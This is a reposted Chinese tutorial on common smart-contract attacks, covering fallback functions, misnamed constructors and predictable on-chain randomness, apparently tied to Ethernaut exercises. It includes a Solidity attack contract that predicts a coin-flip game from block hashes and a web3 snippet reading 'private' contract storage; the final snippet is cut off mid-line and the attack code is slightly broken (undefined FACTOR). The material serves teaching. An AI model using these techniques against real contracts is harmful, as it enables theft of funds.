ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

智能合约常见攻击方式

2020-02-06 12:05:49  阅读:382  来源: 互联网

标签:调用 函数 智能 哈希 address 区块 合约 攻击方式


准备

普通攻击

fallback回退函数

合约可以有一个未命名函数,该函数不能有参数,也不能有返回值。fallback函数在以下情况会被调用:

  • 一个调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据)。由于Solidity中,Solidity提供了编译期检查,所以我们不能直接通过Solidity调用一个不存在的函数。但我们可以使用Solidity的提供的底层函数address.call来模拟这一行为,进行函数调用。
  • 合约收到以太币,没有任何数据(为接受以太币,fallback函数必须标记为payablefunction() payable public{},否则合约无法接收,如果通过转账函数transfer发送到没有定义payable的合约,会抛出错误,导致后面的代码无法执行!但如果有合约通过自毁selfdestruct(address)的方式发送,即使没有定义为payable都得收下!)。通过MetaMask的Send向合约地址转以太币触发(ethernaut环境下可通过集成函数contract.sendTransaction({value: 1})转以太币;通过address.call.gas(1000000).value(msg.value)();在合约中转以太币)。

构造函数

构造函数无法显式调用,但如果构造函数和contract名字不一致,就能被直接调用,solidity 0.4.22引入了关键词constructor来指定构造函数。

随机数预测

  • 使用区块变量block.coinbase/difficulty/gaslimit/number/timestamp,或基于过往块的哈希值block.blockhash(block.number – 1),由于区块变量在同一区块是共用的,通过攻击合约调用目标合约,即可实现预测
1
2
3
4
5
6
7
8
9
10
11
12
13
contract CoinFlip {
  function flip(bool _guess) public returns (bool);
}
contract Attack {
  address _addr;
  constructor(address param) { _addr = param;}
  function guess() public{
    CoinFlip cf = CoinFlip(_addr); //new instance with address
    uint256 blockValue = uint256(block.blockhash(block.number-1)); //generate the same random value
    bool side = uint256(uint256(blockValue) / FACTOR) == 1;
    return cf.flip(side); //invoke method with instance
  }
}
  • 使用未来区块的区块哈希(使用上一次调用区块高度计算哈希值),由于EVM 能存储的区块哈希为最近的256条,超过的话置为 0。因此,如果第二次调用时,与第一次下注时的区块高度差超过了 256,那么此时的产生的区块哈希为0,此时伪随机数就变成可猜测的了
  • 使用私有的种子变量,将变量标记为私有只会阻止其他合约访问它,但是可以以链下的方式去获取链上的存储信息。如使用客户端的web3 API方法web3.eth.getStorageAt(addr, argument_index,callback),可以检索合约的存储
1
2
3
web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/'); //默认的web3必须带上callback回调函数
web3 = new Web3(web3Provider);
web3.eth.getStorageAt("0xad836dc9bc4fa0af947a27128edfa14459d77f19", 1, function(x, y) {大专栏

标签:调用,函数,智能,哈希,address,区块,合约,攻击方式
来源: https://www.cnblogs.com/lijianming180/p/12268129.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有